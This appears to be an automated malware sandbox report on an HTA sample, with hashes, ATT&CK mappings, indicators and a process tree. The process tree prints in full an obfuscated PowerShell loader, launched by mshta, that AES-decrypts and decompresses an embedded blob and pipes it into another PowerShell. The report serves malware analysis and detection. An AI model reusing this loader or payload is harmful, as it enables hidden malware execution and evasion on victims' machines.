caa7a7501033b47395d0ee421464618b7777ce2a798111e29b47267b778d5fc7

General

Target

caa7a7501033b47395d0ee421464618b7777ce2a798111e29b47267b778d5fc7.hta
Size

76KB
MD5

7e08e28d64e2026b8325935172c27c6b
SHA1

3be2858857ffba56416db3001a4f9a382a7404ec
SHA256

caa7a7501033b47395d0ee421464618b7777ce2a798111e29b47267b778d5fc7
SHA512

816dd4906b26ac9fdaed836ca273588cac0d807868934715d500c3a9f8ad31bd11020d3a589d016a1c60c93fe714602f45963e78932b36ae1fa4cc54048190e9
SSDEEP

768:H0nzwRQmH5omBvaGGZFD9lu2drSX0kUG39UaZd4xJk0sS7:AzwGmHfBsZFDfu2dmX0kUmU/uS7

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2740	powershell.exe
2356	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2740	powershell.exe
Token: SeDebugPrivilege	2356	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2556 wrote to memory of 2740	2556	mshta.exe	29
PID 2556 wrote to memory of 2740	2556	mshta.exe	29
PID 2556 wrote to memory of 2740	2556	mshta.exe	29
PID 2556 wrote to memory of 2740	2556	mshta.exe	29
PID 2740 wrote to memory of 2356	2740	powershell.exe	30
PID 2740 wrote to memory of 2356	2740	powershell.exe	30
PID 2740 wrote to memory of 2356	2740	powershell.exe	30
PID 2740 wrote to memory of 2356	2740	powershell.exe	30

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\caa7a7501033b47395d0ee421464618b7777ce2a798111e29b47267b778d5fc7.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2556
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $SNTyz = 'AAAAAAAAAAAAAAAAAAAAALmk2b6lObDopuf9qJWqGCtzC7CpptCgBnt5rHGdK0CvSJKhFnvqJYIoDdgjV85+2qtRocrUk9BcXKKoE9JsNJgtMBltspO1u78Mfl7YMlQ0P6ZscPVex7HSoCRP10vd0aIFQ1RIYahKuYd6bdmAphNVCCPHUBzYTI7VBNdM83D7XZFoec+s23GTfZWtuLYtYiS/OTUEzlhOwnMxN3sP2n8EbAo9BGzEBkxFbuCbhHyPb0i1m4H+rOtXNkftKSWiPM4ZXhtfLWDXCtqRIJhHmHUZErlqLgiNahl0E0q5FgZZm7OPmMEoMyuXzOzt1+cRrN1Ctv6HcMAYuAhBzws+/DaLNhYS+WE4CDQVfS8Ok13+MLPrzW7O9DoG3TCRFMLBTGp+78w993AYJtFm12crbdAyk79fGa6dn8PRunfMPiXcbyo2OkAJQE/5Sd5Qu6Wk7Dmxy98RYGde8kwD9ip5r7gf6c1124Am/BEazQnaTet4zRGw963Te9Jey/4OUUf7n/wQFzO68GOZebttJyOyf7t0YP+Phce1GZBsIMJ8r/OAa1QCgIBQ3bvh+Wb7pC4r1Bu+UgwFMnLY+oWJUr3sUMzcwoEDJylcmUbX1Usq77b1fKmB201lgyr0PKGLEt3IORnPBhTD81gOlFbkTg2IfcheTlv3Xu9kzvd3D0LOjJ6UHpKh1u7DWwC4qflR5AUIjGX81KrOdsIj4I8cSzvTEUbFoOe/Merccz3NEtk5Aq1z0o9g5fFuBaXQvrhGFkyOkdNFzRiCJEGtBWCt4ssADBmv0Mp4PLNrPGKQ+GKQNdRRdnRYWVcdDlQjvqRQoSBqMbb0RVi1bkQLcO0ZooLIzLbzcmwfgDvTyVCk2p/3p5mAhvJIGg+WcG7kH76z2nvrBGoVqQUzcEx6MvAzDXDb/VDkrzZz5DN6h42PvwxThFmO926dcbjgZUumX1jUcIsr+Cm4IQxjQnyZAscmjTeJ4WKfIU3zpS5dKT2LTLVjDxVUzzqlTmd/rBgzYJcQl1dlkMzxPLgnpQq/Pwf3+iGIYoW6TLrCGfenlPxiURCdq0ejJLKErJg0tIF+CxtB+v3FETsTyH0UkR5J3TwQjZHsgGZFNQLNnkBTwpdQAOsdW+LTRyRcION9/NP5yk3ZQHcSQeiNfbC4vS8iCRrjSR31swF/MC7PANy+yO7STigHV+6S5OCbKezZXAWlClJUP+G0Zg==';$NYvzm = 'dE92WmpUelNoc1NyUHdadGdKY1lsaHNuQWxvanpYdVg=';$JxlzVEaB = New-Object 'System.Security.Cryptography.AesManaged';$JxlzVEaB.Mode = [System.Security.Cryptography.CipherMode]::ECB;$JxlzVEaB.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$JxlzVEaB.BlockSize = 128;$JxlzVEaB.KeySize = 256;$JxlzVEaB.Key = [System.Convert]::FromBase64String($NYvzm);$CcxpA = [System.Convert]::FromBase64String($SNTyz);$cnnQFgZm = $CcxpA[0..15];$JxlzVEaB.IV = $cnnQFgZm;$LEiiXZOgN = $JxlzVEaB.CreateDecryptor();$AcOIkQZxG = $LEiiXZOgN.TransformFinalBlock($CcxpA, 16, $CcxpA.Length - 16);$JxlzVEaB.Dispose();$BMBI = New-Object System.IO.MemoryStream( , $AcOIkQZxG );$mZNCUMQO = New-Object System.IO.MemoryStream;$NPwQahcaV = New-Object System.IO.Compression.GzipStream $BMBI, ([IO.Compression.CompressionMode]::Decompress);$NPwQahcaV.CopyTo( $mZNCUMQO );$NPwQahcaV.Close();$BMBI.Close();[byte[]] $kiEmVbL = $mZNCUMQO.ToArray();$tsWNTzTK = [System.Text.Encoding]::UTF8.GetString($kiEmVbL);$tsWNTzTK | powershell -
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2356

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
aae2f56f5afbe9dd983d5f8a8e402658

SHA1
b0605fe1cde2a08584f5c9ad52b2325c6903bef3

SHA256
e09f25cf72272a8718a9c37174e48558fcd654b4d6ed3b581a6597ba5dff4c37

SHA512
7739156e9baadb8ed78e2a76d67da6dd6e56461de59ce7369e49c466be9c1eebd550c7a184ce7b3819f6f8c47525d79f182d6a6b5fd86110bc962dc502217377

Download Submit
memory/2356-12-0x0000000002530000-0x0000000002570000-memory.dmp

Filesize
256KB

Download
memory/2356-11-0x0000000074050000-0x00000000745FB000-memory.dmp

Filesize
5.7MB

Download
memory/2356-13-0x0000000074050000-0x00000000745FB000-memory.dmp

Filesize
5.7MB

Download
memory/2356-15-0x0000000074050000-0x00000000745FB000-memory.dmp

Filesize
5.7MB

Download
memory/2356-14-0x0000000074050000-0x00000000745FB000-memory.dmp

Filesize
5.7MB

Download
memory/2740-2-0x0000000074050000-0x00000000745FB000-memory.dmp

Filesize
5.7MB

Download
memory/2740-4-0x0000000002410000-0x0000000002450000-memory.dmp

Filesize
256KB

Download
memory/2740-5-0x0000000002410000-0x0000000002450000-memory.dmp

Filesize
256KB

Download
memory/2740-3-0x0000000074050000-0x00000000745FB000-memory.dmp

Filesize
5.7MB

Download
memory/2740-16-0x0000000074050000-0x00000000745FB000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing